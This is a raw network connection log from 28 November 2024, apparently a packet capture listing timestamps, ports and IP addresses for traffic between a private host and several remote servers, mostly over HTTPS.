Nov 28, 2024 11:05:15.648027897 CET	49744	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:15.648041010 CET	443	49744	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:15.648060083 CET	49744	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:15.648065090 CET	443	49744	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:15.648184061 CET	49750	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.648205996 CET	443	49750	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.648356915 CET	49751	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.648365974 CET	443	49751	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.649162054 CET	49752	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.649204969 CET	443	49752	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.649266005 CET	49752	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.649497986 CET	49752	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.649511099 CET	443	49752	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.728872061 CET	49753	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:15.728904009 CET	443	49753	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:15.729680061 CET	49753	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:15.768553972 CET	49753	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:15.768568993 CET	443	49753	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:16.588813066 CET	49754	443	192.168.2.7	172.217.17.78
Nov 28, 2024 11:05:16.588859081 CET	443	49754	172.217.17.78	192.168.2.7
Nov 28, 2024 11:05:16.588916063 CET	49754	443	192.168.2.7	172.217.17.78
Nov 28, 2024 11:05:16.593014002 CET	49754	443	192.168.2.7	172.217.17.78
Nov 28, 2024 11:05:16.593027115 CET	443	49754	172.217.17.78	192.168.2.7
Nov 28, 2024 11:05:16.631448984 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:16.675389051 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:16.685601950 CET	443	49748	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:16.686037064 CET	49748	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:16.686058998 CET	443	49748	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:16.686499119 CET	49748	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:16.686503887 CET	443	49748	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:16.822707891 CET	80	49747	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:16.822784901 CET	49747	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:16.929698944 CET	49747	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:16.930075884 CET	49754	443	192.168.2.7	172.217.17.78
Nov 28, 2024 11:05:17.049735069 CET	80	49747	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:17.132359982 CET	443	49748	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.132431030 CET	443	49748	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.132472992 CET	49748	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.132800102 CET	49748	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.132829905 CET	443	49748	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.132875919 CET	49748	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.132888079 CET	443	49748	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.135804892 CET	49757	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.135853052 CET	443	49757	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.135998964 CET	49757	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.136132002 CET	49757	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.136146069 CET	443	49757	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.145704031 CET	443	49753	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:17.145757914 CET	49753	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:17.147187948 CET	49753	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:17.147198915 CET	443	49753	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:17.147443056 CET	443	49753	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:17.148511887 CET	49753	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:17.195336103 CET	443	49753	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:17.251583099 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:17.251609087 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:17.251616955 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:17.251626015 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:17.251658916 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:17.251698017 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:17.251756907 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:17.251787901 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:17.251815081 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:17.270688057 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:17.270751953 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:17.270756006 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:17.270801067 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:17.431339979 CET	443	49750	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.431929111 CET	49750	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.431946039 CET	443	49750	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.432379961 CET	49750	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.432389021 CET	443	49750	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.434468985 CET	443	49752	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.434834957 CET	49752	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.434854984 CET	443	49752	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.435285091 CET	49752	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.435291052 CET	443	49752	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.495498896 CET	443	49751	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.496040106 CET	49751	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.496062994 CET	443	49751	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.496570110 CET	49751	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.496577978 CET	443	49751	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.663726091 CET	443	49753	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:17.663805962 CET	443	49753	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:17.663923025 CET	49753	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:17.664594889 CET	49753	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:17.664594889 CET	49753	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:17.664622068 CET	443	49753	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:17.664633036 CET	443	49753	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:17.875516891 CET	443	49750	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.875580072 CET	443	49750	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.875730038 CET	49750	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.875909090 CET	49750	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.875936031 CET	443	49750	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.875957966 CET	49750	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.875965118 CET	443	49750	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.879117012 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.879158974 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.879309893 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.879580021 CET	443	49752	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.879620075 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.879631042 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.879651070 CET	443	49752	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.879750013 CET	49752	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.880116940 CET	49752	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.880131960 CET	443	49752	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.883699894 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.883742094 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.883812904 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.884011984 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.884021044 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.901495934 CET	80	49747	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:17.901637077 CET	49747	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:17.948657036 CET	443	49751	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.948730946 CET	443	49751	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.948801994 CET	49751	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.954325914 CET	49751	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.954345942 CET	443	49751	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.954358101 CET	49751	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.954364061 CET	443	49751	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.962137938 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.962184906 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:17.962270975 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.962774992 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:17.962791920 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:18.004547119 CET	49677	443	192.168.2.7	20.50.201.200
Nov 28, 2024 11:05:18.453843117 CET	443	49749	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:18.480823040 CET	49749	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:18.480843067 CET	443	49749	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:18.482878923 CET	49749	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:18.482883930 CET	443	49749	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:18.518765926 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:18.518800974 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:18.518812895 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:18.518820047 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:18.992686987 CET	443	49757	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:19.035798073 CET	49757	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:19.389920950 CET	49757	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:19.389951944 CET	443	49757	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:19.391705036 CET	49757	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:19.391720057 CET	443	49757	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:19.596927881 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:19.645129919 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:19.665211916 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:19.707691908 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:19.726767063 CET	443	49757	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:19.726854086 CET	443	49757	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:19.727505922 CET	49757	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:19.744514942 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:19.785773993 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.309199095 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.309231043 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.309756994 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.309762955 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.311933994 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.311979055 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.312613964 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.312621117 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.313735008 CET	49757	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.313760042 CET	443	49757	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.313776016 CET	49757	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.313781977 CET	443	49757	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.315948963 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.315985918 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.316354036 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.316366911 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.392477036 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.392538071 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.392616987 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.401340008 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.401370049 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.638468027 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.638868093 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.639002085 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.641143084 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.641290903 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.641339064 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.805859089 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.805900097 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.805917978 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.805926085 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.806258917 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.806293964 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.806308031 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.806314945 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.900063038 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.900113106 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.900171041 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.902390003 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.902430058 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.902477980 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.916157961 CET	443	49749	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.916255951 CET	443	49749	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.916315079 CET	49749	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.926120996 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.926153898 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.927047014 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.927058935 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.952624083 CET	49749	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.952652931 CET	443	49749	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.952666998 CET	49749	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.952687025 CET	443	49749	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.964365959 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.964401007 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:20.964457035 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.964780092 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:20.964790106 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:21.089896917 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:21.090046883 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:21.090101004 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:21.159049034 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:21.159075022 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:21.159086943 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:21.159092903 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:21.505423069 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:21.505476952 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:21.505553007 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:21.730653048 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:21.730685949 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.182296991 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.203604937 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:22.203638077 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.218738079 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:22.218761921 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.613868952 CET	49776	443	192.168.2.7	94.245.104.56
Nov 28, 2024 11:05:22.613924980 CET	443	49776	94.245.104.56	192.168.2.7
Nov 28, 2024 11:05:22.614234924 CET	49776	443	192.168.2.7	94.245.104.56
Nov 28, 2024 11:05:22.614557028 CET	49776	443	192.168.2.7	94.245.104.56
Nov 28, 2024 11:05:22.614569902 CET	443	49776	94.245.104.56	192.168.2.7
Nov 28, 2024 11:05:22.626504898 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.626570940 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.626692057 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:22.688878059 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:22.688922882 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.688945055 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:22.688952923 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.708411932 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.733118057 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:22.733141899 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.733620882 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:22.733623981 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.745260000 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.771744013 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.801951885 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:22.837769032 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:22.837778091 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.849795103 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:22.849800110 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:22.901746035 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:22.906567097 CET	80	49747	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:22.906653881 CET	49747	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:23.152453899 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.152545929 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.152633905 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.189460039 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.189538956 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.189703941 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.284486055 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.284552097 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.284620047 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.299624920 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.299680948 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.300693989 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.300715923 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.301672935 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.301690102 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.320245981 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.320280075 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.320297956 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.320303917 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.321587086 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.321604013 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.321628094 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.321633101 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.344151020 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.344189882 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.344261885 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.364125967 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.364175081 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.367856026 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.367909908 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.367981911 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.368232012 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.368242979 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.410655022 CET	49747	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:23.411024094 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:23.531063080 CET	80	49747	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:23.531205893 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:23.531287909 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:23.535024881 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:23.538990021 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.553776979 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.553806067 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.556032896 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.556049109 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.635499954 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.635636091 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.635771036 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.640592098 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.640621901 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.640635014 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.640640974 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.648447990 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.648499966 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.648593903 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.655560970 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:23.657900095 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.657915115 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.984942913 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.985006094 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.985053062 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.989675999 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.989702940 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.994924068 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.994975090 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:23.995028019 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.995790005 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:23.995801926 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:24.203727007 CET	49786	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:24.203759909 CET	443	49786	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:24.203876972 CET	49786	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:24.247890949 CET	49786	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:24.247912884 CET	443	49786	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:24.409770966 CET	443	49776	94.245.104.56	192.168.2.7
Nov 28, 2024 11:05:24.410155058 CET	49776	443	192.168.2.7	94.245.104.56
Nov 28, 2024 11:05:24.410182953 CET	443	49776	94.245.104.56	192.168.2.7
Nov 28, 2024 11:05:24.411223888 CET	443	49776	94.245.104.56	192.168.2.7
Nov 28, 2024 11:05:24.411300898 CET	49776	443	192.168.2.7	94.245.104.56
Nov 28, 2024 11:05:24.412343979 CET	49776	443	192.168.2.7	94.245.104.56
Nov 28, 2024 11:05:24.412432909 CET	443	49776	94.245.104.56	192.168.2.7
Nov 28, 2024 11:05:24.412672043 CET	49776	443	192.168.2.7	94.245.104.56
Nov 28, 2024 11:05:24.412688971 CET	443	49776	94.245.104.56	192.168.2.7
Nov 28, 2024 11:05:24.510179996 CET	49776	443	192.168.2.7	94.245.104.56
Nov 28, 2024 11:05:24.919161081 CET	443	49776	94.245.104.56	192.168.2.7
Nov 28, 2024 11:05:24.919244051 CET	443	49776	94.245.104.56	192.168.2.7
Nov 28, 2024 11:05:24.919536114 CET	49776	443	192.168.2.7	94.245.104.56
Nov 28, 2024 11:05:25.025490999 CET	49776	443	192.168.2.7	94.245.104.56
Nov 28, 2024 11:05:25.025538921 CET	443	49776	94.245.104.56	192.168.2.7
Nov 28, 2024 11:05:25.144160986 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.144948959 CET	49778	443	192.168.2.7	13.107.246.63
